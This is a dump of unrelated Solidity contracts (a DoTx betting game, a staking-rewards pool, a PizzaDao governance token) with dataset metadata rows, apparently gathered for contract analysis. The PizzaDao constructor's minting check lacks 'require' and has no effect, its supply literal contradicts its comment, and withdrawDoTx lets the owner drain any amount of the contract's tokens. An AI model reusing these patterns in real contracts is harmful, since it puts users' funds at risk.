}
function getFeesForSwitchHouse(address userAddress, uint256 _warIndex) public view returns(uint256){
return (getUserDoTxInBalance(_warIndex, userAddress).mul(wars[_warIndex].warFeesPercent)).div(100);
}
function getUser(uint256 _warIndex, address userAddress) public view returns(User memory){
return wars[_warIndex].users[userAddress];
}
function getHouse(uint256 _warIndex, string memory houseTicker) public view returns(House memory){
bytes32 ticker = stringToBytes32(houseTicker);
return wars[_warIndex].firstHouse.houseTicker == ticker ? wars[_warIndex].firstHouse : wars[_warIndex].secondHouse;
}
function getBurnStake(uint256 _warIndex) public view returns(BurnStake memory){
return BurnStake(calculateBurnStaking(wars[_warIndex].firstHouse, true, _warIndex), calculateBurnStaking(wars[_warIndex].secondHouse, true, _warIndex));
}
function getWarsHouses(uint256 min, uint256 max) public view returns (WarHouses[] memory){
uint256 count = (max - min) + 1;
WarHouses[] memory houses = new WarHouses[](count);
uint256 i = min;
uint256 index = 0;
while(index < count){
houses[index] = (WarHouses(i, wars[i].firstHouse.houseTicker, wars[i].secondHouse.houseTicker, wars[i].startTime, wars[i].duration, wars[i].winningHouse != 0));
i++;
index++;
}
return houses;
}
function setSelectWinnerPrecision(uint256 _precision) public onlyOwner{
selectWinnerPrecision = _precision;
}
function setStakingBurnPercentageWar(uint256 _burnPercentage, uint256 _warIndex) public onlyOwner{
wars[_warIndex].burnPercentage = _burnPercentage;
}
function setStakingBurnPercentage(uint256 _burnPercentage) public onlyOwner{
burnPercentage = _burnPercentage;
}
function setMultiplicatorWar(int256 _multiplicator, uint256 _warIndex) public onlyOwner{
wars[_warIndex].multiplicator = _multiplicator;
}
function setMultiplicator(int256 _multiplicator) public onlyOwner{
multiplicator = _multiplicator;
}
function withdrawFees() public onlyOwner {
//Fees from switch house
dotxToken.transfer(owner(), totalFees);
totalFees = 0;
}
function setDoTxLibs(address dotxLibAddr, bool setupAddressInLib, address manaPoolAddr, bool setupAddressInPool) public onlyOwner {
//DOTX lib mainly uses for Chainlink
dotxLibAddress = dotxLibAddr;
dotxLib = IDoTxLib(dotxLibAddress);
if(setupAddressInLib){
dotxLib.setDoTxGame(address(this));
}
//Mana Pool
manaPool = IManaPoolContract(manaPoolAddr);
if(setupAddressInPool){
manaPool.setDoTxGame(address(this));
}
}
function getHouseStg(bytes32 ticker, uint256 _warIndex) private view returns(House storage){
return wars[_warIndex].firstHouse.houseTicker == ticker ? wars[_warIndex].firstHouse : wars[_warIndex].secondHouse;
}
function checkIfHouseInCompetition(bytes32 _houseTicker, uint256 _warIndex) private view returns(bool){
return wars[_warIndex].firstHouse.houseTicker == _houseTicker || wars[_warIndex].secondHouse.houseTicker == _houseTicker;
}
function getCurrentRewardString(string memory _winningHouse, address userAddress, uint256 _warIndex) public view returns(uint256){
bytes32 winningHouseTicker = stringToBytes32(_winningHouse);
return getCurrentReward(winningHouseTicker, userAddress, _warIndex);
}
function getCurrentReward(bytes32 _winningHouse, address userAddress, uint256 _warIndex) public view returns(uint256){
//Losing house
House memory losingHouse = wars[_warIndex].firstHouse.houseTicker == _winningHouse ? wars[_warIndex].secondHouse : wars[_warIndex].firstHouse;
//Total DoTx in house's balance
uint256 totalDoTxWinningHouse = getHouseStg(_winningHouse, _warIndex).ticketsBought.mul(wars[_warIndex].ticketPrice);
uint256 totalDoTxLosingHouse = losingHouse.ticketsBought.mul(wars[_warIndex].ticketPrice).sub(calculateBurnStaking(losingHouse, true, _warIndex));
return dotxLib.calculateReward(getUserDoTxInBalance(_warIndex, userAddress), totalDoTxWinningHouse, totalDoTxLosingHouse);
}
function calculateBurnStaking(House memory house, bool isBurn, uint256 _warIndex) public view returns(uint256){
uint256 ticketsBoughtValueDoTx = house.ticketsBought.mul(wars[_warIndex].ticketPrice);
uint256 percentage = wars[_warIndex].burnPercentage;
//Calculate tickets remaining after burn
return dotxLib.calculatePercentage(ticketsBoughtValueDoTx, percentage, selectWinnerPrecision);
}
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function bytes32ToString(bytes32 x) public pure returns (string memory) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (uint256 j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function withdrawDoTx(uint256 _amount) public onlyOwner {
dotxToken.transfer(owner(), _amount);
}
}
| 171,947 | 12,041 |
9cb41714c2409c1782082d626f36da25eeb2dbaabc76b6ffcf290712ba707ba5
| 21,103 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/3022_29260_0x6c3e4cb2e96b01f4b866965a91ed4437839a121a.sol
| 3,344 | 12,831 |
pragma solidity ^0.5.16;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
// Inheritancea
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
contract RewardsDistributionRecipient {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
}
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 60 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _rewardsDistribution,
address _rewardsToken,
address _stakingToken) public {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
// permit
IUniswapV2ERC20(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function stake(uint256 amount) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
}
interface IUniswapV2ERC20 {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
| 230,306 | 12,042 |
550ec5bd5cca5eec0e9156e41645f7ead12b692d4eb4fff06585c875638e5011
| 23,271 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ad/AD5dc4308A93FF153358A7F8A38075Bc42501be5_PizzaDao.sol
| 4,166 | 15,725 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract PizzaDao {
/// @notice EIP-20 token name for this token
string public constant name = "PizzaDao";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "PDAO";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 9;
/// @notice Total number of tokens in circulation
uint public totalSupply = 50_0e18; // 50 billion PDAO
/// @notice Address which may mint new tokens
address public minter;
/// @notice The timestamp after which minting may occur
uint public mintingAllowedAfter;
/// @notice Minimum time between mints
uint32 public constant minimumTimeBetweenMints = 1 days * 365;
/// @notice Cap on the percentage of totalSupply that can be minted at each mint
uint8 public constant mintCap = 2;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(address account, address minter_, uint mintingAllowedAfter_) public {
(mintingAllowedAfter_ >= block.timestamp, "PizzaDao::constructor: minting can only begin after deployment");
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
mintingAllowedAfter = mintingAllowedAfter_;
}
function setMinter(address minter_) external {
require(msg.sender == minter, "PizzaDao::setMinter: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "PizzaDao::mint: only the minter can mint");
require(block.timestamp >= mintingAllowedAfter, "PizzaDao::mint: minting not allowed yet");
require(dst != address(0), "PizzaDao::mint: cannot transfer to the zero address");
// record the mint
mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints);
// mint the amount
uint96 amount = safe96(rawAmount, "PizzaDao::mint: amount exceeds 96 bits");
require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "PizzaDao::mint: exceeded mint cap");
totalSupply = safe96(SafeMath.add(totalSupply, amount), "PizzaDao::mint: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "PizzaDao::mint: transfer amount overflows");
emit Transfer(address(0), dst, amount);
// move delegates
_moveDelegates(address(0), delegates[dst], amount);
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "PizzaDao::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "PizzaDao::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "PizzaDao::permit: invalid signature");
require(signatory == owner, "PizzaDao::permit: unauthorized");
require(block.timestamp <= deadline, "Pizzad::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "PizzaDao::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "PizzaDao::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "PizzaDao::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "PizzaDao::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "PizzaDao::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "PizzaDao::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "PizzaDao::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "PizzaDao::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "PizzaDao::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "PizzaDao::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "PizzaDao::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "PizzaDao::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "PizzaDao::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "PizzaDao::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 114,569 | 12,043 |
f057a44c50e9e702ef57cd8c7e78fdbff6e2ade58e2f3c2b56b0eda636c4ae14
| 22,208 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x6aE6404841D99669069607bC892Ae9eaB939fc7B/contract.sol
| 4,761 | 18,594 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
function permit(address target,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function transferWithPermit(address target,
address to,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface ICaliERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender,
uint256 value,
bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to,
uint256 value,
bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address,
uint256,
bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address,
uint256,
bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed");
}
}
}
